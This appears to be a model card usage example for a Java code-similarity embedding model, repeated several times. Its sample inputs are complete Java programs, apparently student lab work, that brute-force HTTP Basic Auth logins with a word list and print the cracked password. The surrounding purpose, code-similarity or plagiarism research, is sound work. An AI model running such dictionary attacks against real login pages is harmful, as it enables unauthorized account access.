similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
